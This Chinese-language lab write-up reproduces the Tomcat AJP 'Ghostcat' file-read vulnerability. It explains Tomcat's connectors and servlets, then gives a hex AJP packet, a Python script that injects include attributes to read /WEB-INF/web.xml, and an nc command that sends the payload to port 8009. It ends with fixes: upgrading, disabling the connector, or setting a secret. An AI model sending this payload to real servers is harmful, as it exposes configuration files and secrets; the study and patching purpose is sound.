目录
测试是否安装成功编辑
基础简介
Tomcat Connector(连接器)
编辑Servlet(服务程序)
Tomcat内部处理请求流程
Tomcat加载和处理jsp的流程图
抓包复现
需要将下图中抓取到的数据包修改一下
替换成二进制数据的形式:
python版替换代码:
运行结果
创建脚本文件,复现
漏洞修复
如果未使用 Tomcat AJP 协议
步骤
如果使用了 Tomcat AJP 协议
apache-tomcat-9.0.30.ziphttp://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.zip
注意:需要下载9.0.30及以下的版本
哪些版本的 Tomcat 受到 Ghostcat 漏洞影响?
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
运行需要Java环境
解压后需要在apache-tomcat-9.0.30/bin/ 目录下面的所有.sh文件给上权限
然后运行shartup.sh
测试是否安装成功
基础简介
Tomcat Connector(连接器)
首先来说一下Tomcat的Connector组件,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。每个Connector会监听一个指定端口,分别负责对请求报文的解析和响应报文组装,解析过程封装Request对象,而组装过程封装Response对象。
举个例子,如果把Tomcat比作一个城堡,那么Connector组件就是城堡的城门,为进出城堡的人们提供通道。当然,可能有多个城门,每个城门代表不同的通道。而Tomcat默认配置启动,开了两个城门(通道):一个是监听8080端口的HTTP Connector,另一个是监听8009端口的AJP Connector。
Tomcat组件相关的配置文件是在conf/server.xml
,配置文件中每一个元素都对应了Tomcat的一个组件(可以在配置文件中找到如下两项,配置了两个Connector组件):
<!-- Define a non-SSL/TLS HTTP/1.1 Connector on port 8080 -->
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />
.....
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
HTTP Connector很好理解,通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器;
AJP Connector是通过AJP协议和一个Web容器进行交互。在将Tomcat与其他HTTP服务器(一般是Apache )集成时,就需要用到这个连接器。AJP协议是采用二进制形式代替文本形式传输,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。
显然,浏览器只支持HTTP协议,并不能直接支持AJP协议。所以实际情况是,通过Apache的proxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问,大致如下图所示:
Servlet(服务程序)
Servlet意为服务程序,也可简单理解为是一种用来处理网络请求的一套规范。主要作用是给上级容器(Tomcat)提供doGet()和doPost()等方法,其生命周期实例化、初始化、调用、销毁受控于Tomcat容器。有个例子可以很好理解:想象一下,在一栋大楼里有非常多特殊服务者Servlet,这栋大楼有一套智能系统帮助接待顾客引导他们去所需的服务提供者(Servlet)那接受服务。这里顾客就是一个个请求,特殊服务者就是Servlet,而这套智能系统就是Tomcat容器。
Tomcat中Servlet的配置是在`conf/web.xml`。Tomcat默认配置定义了两个servlet,分别为`DefaultServlet`和`JspServlet`:
<!-- The default servlet for all web applications, that serves static -->
<!-- resources. It processes all requests that are not mapped to other -->
<!-- servlets with servlet mappings. -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
......
......
</servlet>
<!-- The JSP page compiler and execution servlet, which is the mechanism -->
<!-- used by Tomcat to support JSP pages. Traditionally, this servlet -->
<!-- is mapped to the URL pattern "*.jsp". -->
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
......
......
</servlet>
......
......
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
所有的请求进入tomcat,都会流经servlet。由注释可以很明显看出,如果没有匹配到任何应用指定的servlet,那么就会流到默认的servlet(即DefaultServlet
),而JspServlet
负责处理所有JSP文件的请求。
Tomcat内部处理请求流程
Tomcat内部处理请求的流程第一次看可能觉得会有点复杂。网上很多分析tomcat内部架构的文章,看几篇就能明白个大概了。网上看到张图,简单修改重新绘制了下,介绍一下Tomcat内部处理HTTP请求的流程,便于理解后续的漏洞分析:
-
用户点击网页内容,请求被发送到本机端口8080,被Connector获得(Connector中的Processor用于封装Request,Adapter用于将封装好的Request交给Container)。
-
Connector把该请求交给Container中的Engine来处理,并等待Engine的回应。
-
Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。
-
Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为" "的Context去处理)。
-
path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类(匹配不到指定Servlet的请求对应DefaultServlet类)。
-
Wrapper是最底层的容器,负责管理一个Servlet。构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost(),执行业务逻辑、数据存储等程序。
-
Context把执行完之后的HttpServletResponse对象返回给Host。
-
Host把HttpServletResponse对象返回给Engine。
-
Engine把HttpServletResponse对象返回Connector。
-
Connector把HttpServletResponse对象返回给客户Browser。
Tomcat加载和处理jsp的流程图
抓包复现
AJP MAGIC ---1234
AJP DATA LENFTH ---01e3
AJP DATA----
02020008485454502f312e310000012f0000093132372e302e302e3100ffff00093132372e302e302e310000500
0000ba00b00093132372e302e302e3100a00e004e4d6f7a696c6c612f352e3020285831313b205562756e74753b
204c696e7578207838365f36343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666
f782f3130392e3000a0010055746578742F68746d6c2C6170706C69636174696f6e2f7868746d6c2b786d6c2c61
70706c69636174696f6e2f786d6c3b713d302e392C696d6167652f617669662c696d6167652f776562702c2a2f2
a3b713d302e3800a004000e656e2d55532656e3b713d302e3500a0030011677a69702C206465666c6174652C206
27200a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300
00013100000e5365632d46657463682d44657374000008646f63756d656e7400000e5365632d46657463682d4d6
f64650000086e6176696761746500000e5365632d46657463682d536974650000046e6f6e6500000e5365632d46
657463682d557365720000023f31000a000f414a505f52454d4f54455f504f52540000053532383230000a000e4
14a505f4c4f43414c5f414444520000093132372e302e302e3100
AJP END ---ff
DATA格式:
AJP_REMOVE_PORT:44442
0a000f 414a505f52454d4f54455f504f5254 0000 05343231323600
414a505f52454d4f54455f504f5254是AJP_REMOTE_PORT
0000用来分隔请求头的key和value
053432313236是value
0a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100
0a00是request_header的标志
of是header的长度
00表示结束
需要拼接的形式:0a00+key长度+0000+value长度+value+00
需要将下图中抓取到的数据包修改一下
替换成二进制数据的形式:
'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
'javax.servlet.include.path_info': 'web.xml',
'javax.servlet.include.servlet_path': '/WEB-INF/',
再修改AJP_DATA_LENGTH为正确的大小即可
python版替换代码:
import binascii
AJP_MAGIC = '1234'.encode()
AJP_HEADER = b'这里是AJP DATA'
def unhex(hex):
return binascii.unhexlify(hex)
def pack_attr(attr):
attr_length = hex(len(attr))[2:].encode().zfill(2)
return attr_length + binascii.hexlify(attr.encode())
attribute = {
'javax.servlet.include.request_uri': '/WEB-INF/web.xml',
'javax.servlet.include.path_info': 'web.xml',
'javax.servlet.include.servlet_path': '/WEB-INF/',
}
req_attribute = b''
for key, value in attribute.items():
# key_length = hex(len(key))[2:].encode().zfill(2)
# value_length = hex(len(value))[2:].encode().zfill(2)
req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'
AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)
运行结果
123401fa02020008485454502f312e310000012f0000093132372e302e302e310000096c6f63616c686f73740000093132372e302e302e31000050000007a00b00093132372e302e302e3100a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a36382e3029204765636b6f2f32303130303130312046697265666f782f36382e3000a001003f746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a003000d677a69702c206465666c61746500a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d526571756573747300000131000a000f414a505f52454d4f54455f504f52540000053539303538000a000e414a505f4c4f43414c5f414444520000093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000102f5745422d494e462f7765622e786d6c000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000077765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000092f5745422d494e462f00ff
创建脚本文件,复现
执行命令
python3 ajp_tomcat.py | xxd -r -p | nc -v 127.0.0.1 8009
漏洞修复
如果未使用 Tomcat AJP 协议
则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。
而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。
步骤
编辑 <CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
将此行注释掉(或直接删掉此行):
<!--<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />-->
更改完毕后,重启 Tomcat 即可
如果使用了 Tomcat AJP 协议
如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。
例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET" />
而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" requiredSecret="YOUR_TOMCAT_AJP_SECRET" />
参考博客https://paper.seebug.org/1147/